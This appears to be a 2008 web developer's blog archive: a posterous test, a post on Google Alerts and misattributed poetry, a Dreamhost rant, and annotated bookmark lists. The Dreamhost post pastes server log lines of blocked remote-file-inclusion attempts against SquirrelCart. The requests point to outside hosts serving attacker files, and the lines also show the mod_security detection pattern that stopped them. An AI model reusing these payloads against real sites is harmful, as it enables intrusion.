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I'm mainly testing cross-posting, and to see how damn easy it is to post on posterous. It may become my main source of "random thoughts" and let ikeif.net represent my main blogging articles. Debates of debates!

Posted via email from keif’s posterous

You know – I’m so vain. It’s like looking into a mirror online, and sucking in all the beauty that is the information super highway – to you young’ns that’s what we called the Intertubes back in the day – through a wonderful tool called Google Alerts.

I’ve got an addiction, and it feels so good.

It starts out with subjects – I follow ATG, Arts Technology Group, Mootools and jQuery.

I get flooded with the latest news and blog postings around those topics because they interest me, and, I suppose, naturally, after hearing a lot of people talk of googling themselves, I set up a google alert on my name: Keith Baker to see what’ll come up.

In the ideals of personal branding I tend to most of my online diction and commenting under keif because there are quite a few Keith Baker’s that me beat in terms of popularity (like the Yale Physics Professor working with CERN, a Dungeons and Dragons Author, a drummer (who also a a Japanese fan site?), a photographer, a children’s book illustrator) – so I set up an alert on that, as well – this way I know most often if my real name creeps up in an alert it deserves a lot more attention.

So what’s the point? A quick shill for Google Alerts? No, I bring this up, because an interesting alert fell into my inbox today – Silliman’s blog post about Issue 1, a 3,785 page e-book of poetry. Wow. With 3,164 authors, you’re sure to find something you like, right?

Well, as it turns out, a lot of people published in this book are finding out they’re in this book for the first time (plagiarism!) – except, perhaps captured most eloquently by Silliman:

Ed Baker put it so elegantly in the comments stream to For Godot,

I DIDN’T FUCKING WRITE THIS GARBAGE!

As I certainly did not write the text associated with my name on page 1849. And I doubt seriously that my nephew Dan wrote the one-line poem associated with his name in here either

Now, as is pointed out in the comments, it’s possible that the “author” of said shit poem may merely be – by chance – someone who happens to also write poetry and has your name.

Someone later points out the possibility of an automated script being the source – the author may be crediting the original authors as more of a “tribute” or perhaps suffers from a misplaced decimal in the code (hey, it happens – ‘feet instead of meters’).

So what can you do to control this? Cease and desist? Threaten litigation that your shiny reputation as a poet could be tarnished being associated with some crap tagged with your name? I know I’m not a poet, but I figure on ecould make a few assumptions…

If no one asks – does it matter?

People in this world exist with the same name. Someone else can write poetry with your name and get it published – you may think they suck, but they’re published and you’re not (or may not be). If you have one iota of fame, I have a feeling that you have an established style or diction – people who are your fans will no doubt read something attributed to you incorrectly and either think you’ve quit smoking pot and switched to heroin, or that this isn’t you.

The point is – let it go! Life’s too short to be worked up over an automated program/persons/whatever incorrectly attributing crap poetry to ‘your name’ and NOT YOU DIRECTLY. If you advertise when you publish (“I’m in this journal/blog/magazine”), I doubt someone will find a random person’s work (not you, with your name) and assume you just don’t want people to know you wrote it.

Would you be upset if someone, with your name, with your “passion,” started getting attention in your field?You know – I’m so vain. It’s like looking into a mirror online, and sucking in all the beauty that is the information super highway – to you young’ns that’s what we called the Intertubes back in the day – through a wonderful tool called Google Alerts.

Over the past few days, I’ve been having a helluva time with Dreamhost (my host) and a slow connection.

I tweeted about it. A lot. Twitter helps me vent, m’kay?

OMG, like what did you do?

Well, I figured Dreamhost had bitten off more than it could chew – and I still wonder about it, since they’re offering “unlimited everything” yet my server is under constant overload. For months.

Once it was finally back up, and I installed a new theme (see my footer? Thesis? Very cool), I started poking around in my log files because my brand-spankin’-new theme was being all screwy.

That’s when I noticed this little gem:

[Sat Sep 06 22:20:11 2008] [error] [client 75.127.70.16] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "/2008/07/12/the-problem-with-web-developer...-web-put-your-title-here//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "dOpSw9BhtwYAAAAlJCcAAAAQ"]

[Sat Sep 06 22:20:11 2008] [error] [client 75.127.70.16] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "dO0Bl9BhtwYAAFGfJx8AAAAH"]

[Sat Sep 06 22:23:46 2008] [error] [client 85.17.6.7] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "/2008/07/12/the-problem-with-web-developer...-web-put-your-title-here//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "gbt0DNBhtwYAAHmKI-oAAAAK"]

[Sat Sep 06 22:23:46 2008] [error] [client 85.17.6.7] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "gcDBS9BhtwYAAF5AN8sAAAAW"]

[Sat Sep 06 22:35:24 2008] [error] [client 81.182.252.176] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://www.venturesnowboards.com/blid.txt????"] [unique_id "q1bSu9BhtwYAAHBNTxoAAAAD"]

[Sat Sep 06 22:56:20 2008] [error] [client 81.182.252.176] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "/2008/07/12/the-problem-with-web-developer...-web-put-your-title-here//squirrelcart/cart_content.php?cart_isp_root=http://www.venturesnowboards.com/blid.txt????"] [unique_id "9jfE6NBhtwYAAAAlJCsAAAAQ"]

[Sat Sep 06 22:56:20 2008] [error] [client 81.182.252.176] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://www.venturesnowboards.com/blid.txt????"] [unique_id "9j3cHtBhtwYAAFGfJyMAAAAH"]

[Sat Sep 06 23:14:03 2008] [error] [client 62.210.139.66] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "/2008/07/12/the-problem-with-web-developer...-web-put-your-title-here//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "NZeHB9BhtwYAAG6hI-oAAAAM"]

[Sat Sep 06 23:14:05 2008] [error] [client 62.210.139.66] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "/2008/07/12/the-problem-with-web-developer...-web-put-your-title-here//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "NbcYLNBhtwYAAE5XJCEAAAAP"]

[Sat Sep 06 23:14:07 2008] [error] [client 62.210.139.66] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "NdVvSNBhtwYAAF4FlRcAAAAB"]

[Sat Sep 06 23:14:07 2008] [error] [client 62.210.139.66] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "NdVyIdBhtwYAAFxmJCoAAAAO"]

All I could do is just stare blankly and say “what the fuc|<?!”

Thankfully, my son was asleep and didn’t witness my temper tantrum.

Hackers? Hardly.

I believe the term is “script kiddies” – I’m no hacker by any means myself, but from what I dug up about their “attack” it was using a cheap-ass script to try and execute vulnerabilities. And I noticed SquirrelCart in there as well – how the hell can I not escape Squirrel Cart? Why don’t clients ever listen when you say “it would be beneficial to upgrade?” I digress…

The “Hackers” were UNITED ALBANIANS aka ALBOSS PARADISE and a quick google search turns up a number of other failed attempts:

• Server Cracked/hacked
• Kiddie Script Alboss @ A Daily Rant – I’m really digging this blog. It cracks me up, and it’s informative.

• addSizes.js: Snazzy automatic link file-size generation | Natalie Downe
  tres cool – generates file sizes on the fly in jquery. portable to moo?
  (tags: web webdev scripts size tool reference plugins programming webservices jquery port_to_mootools)
• GMapsOverlay
  More google maps goodness that needs proted to 1.2
  (tags: webdesign ui tools tool mootools modal maps javascript lightbox overlay popup mootools11)
• http://labs.istrasoft.be/google-maps-lightbox/
  Google Maps in an overlay – written in mootools 1.1 and needs to be ported to 1.2
  (tags: webdesign programming picker mootools maps lightbox javascript inspiration ajax google googlemaps mootools11)
• Mind Meat: Mootools Block Fx
  Some ported effects from dojo to mootools. They need to be tweaked, but are still very cool.
  (tags: mootools dojo javascript js framework code example demo webdev)
• Home ~ custom form elements – style forms individually
  Custom Form Elements – eventually I figure we'll drop traditional styling for something truly cross browser.
  (tags: webdev webdesign web style scripts resources webforms mootools form code example)

• Firebug Command Line API
  Useful Firebug stuff.
  (tags: work web webdev reference programming js javascript html logging firefox firebug)
• 41 of the Best MooTools Ajax Example Downloads : Speckyboy – Web Design, Web Development and Graphic Design Resources
  A collection of mootools examples. I wouldn't call them all AJAX though.
  (tags: webdev webdesign web2.0 web tools slideshow resources reference mootools ajax examples code)
• Logging Information to the Firebug Javascript Console
  How did I miss bookmarking this? Another gem from David Walsh.
  (tags: webdev javascript firebug development debugging browser js debug)
• PHPDL – PHP Directory Lister
  Kind of cool. I'm digging PHP a lot now.
  (tags: php code example directory_lister directory lister)

• Facelift Image Replacement | About FLIR Image Replacement
  I think it's funny I saw Toby write this exact same PHP script. Evidently, he should start marketing it.
  (tags: webdesign web typography text sifr replacement php javascript)
• Cocoa for Scientists (Part XXVII): Getting Closure with Objective-C | MacResearch
  Okay, if I get an iPhone I'll be more inclined to care about objective-C ;)
  (tags: tips programming osx objective-c development dev coding code mac objc objectivec python)
• Avalancha de Frameworks ¿Con cual nos quedamos? | aNieto2K
  Very cool, a quick and dirty run down with a few comparisons of some of the major frameworks. In spanish, so you may want to google translate it (I can hack spanish enough :) )
  (tags: webdesign web2.0 web tips scriptaculous review prototype programming ajax framework frameworks javascript js mootools jquery)

• Magento – Home – Open Source eCommerce Evolved
  Recommended by Toby – a PHP eCommerce platform for growth. Looks very cool, seems to be very extensible AND FREE. I think I'll be setting up a local copy this weekend.
  Based off the PHP Zend framework.
  (tags: webdev webdesign web2.0 web tools store software shopping source zend ecommerce cart shopping_cart)

• Code Converter | Provided by Telerik
  Oh pretty – a code covnversion tool for VB to C# or C3 to VB. I need a mootools jquery one. It's gotta be done.
  (tags: web utilities tool tools service programming online visualstudio vb.net vb utility c# csharp)
• JSFromHell.com: JavaScript Repository
  I love people that collect and share.
  (tags: webdev webdesign web2.0 web tutorial scripts resources reference tutoriais javascript js repository)
• Interactive jQuery selector tester
  This is cool – although I often use the firebug console for the same thing.
  (tags: tools tool testing test reference programming jquery javascript selector xpath)

• MacZealots > Tutorials > Installing WordPress on Tiger
  Installing Wordpress Locally on OSX – just what I needed.
  (tags: webdev wordpress webdesign web tutorials tutorial software tools tiger osx)
• MaxMind – GeoIP Javascript Web Service
  Very cool – a little script that will pull in County Code/Name, Region/State, City, Postal Code, Lat and Long. Except it got my zip wrong ;)
  (tags: webdev tracking services web programming mashup javascript api geocoding geo geoip ip webservice)

• Module developer's guide | drupal.org
  I figure at some point I'll play with Drupal.
  (tags: wishlist webdev web webdesign useful tutorials reference tutorial programming php)

• JavaScript: Form Validation
  So I'm trying to figure out som emore js validation… it seems a lot of others works are bloated or all encompassing.
  (tags: xhtml website webdev web validation site resources webdesign programming javascript form forms development)

• iPhone Dev Center
  Dev Center of course.
  (tags: tutorials tutorial sdk reference programming macosx iphone development dev cocoa mac)
• Your New Excuse to Get an Xbox – Boxes and Arrows: The design behind the design
  Had to add these from google reader. Very cool look at the similarity between design and game play.
  (tags: webdev webdesign web videogames ux userexperience usability ui)

• Design for Emotion and Flow – Boxes and Arrows: The design behind the design
  Excellent examples of making sites interactive.
  (tags: webdesign web ux usability ui psychology productivity userexperience uxd flow)
• gskinner.com: gBlog: gTween: A New Tweening Engine for AS3 Developers
  I really wish I had more time for flex/flash projects.
  (tags: webdev programming library framework flex flash documentation libraries resource skinner tween tweening as3)
• TESTAREA ownCMS WYSIWYG Editor
  Very cool – WYSIWYG built with mootools. I'd like to see this fleshed out a bit more.
  (tags: texteditor wysiwyg mootools library javascript editor development)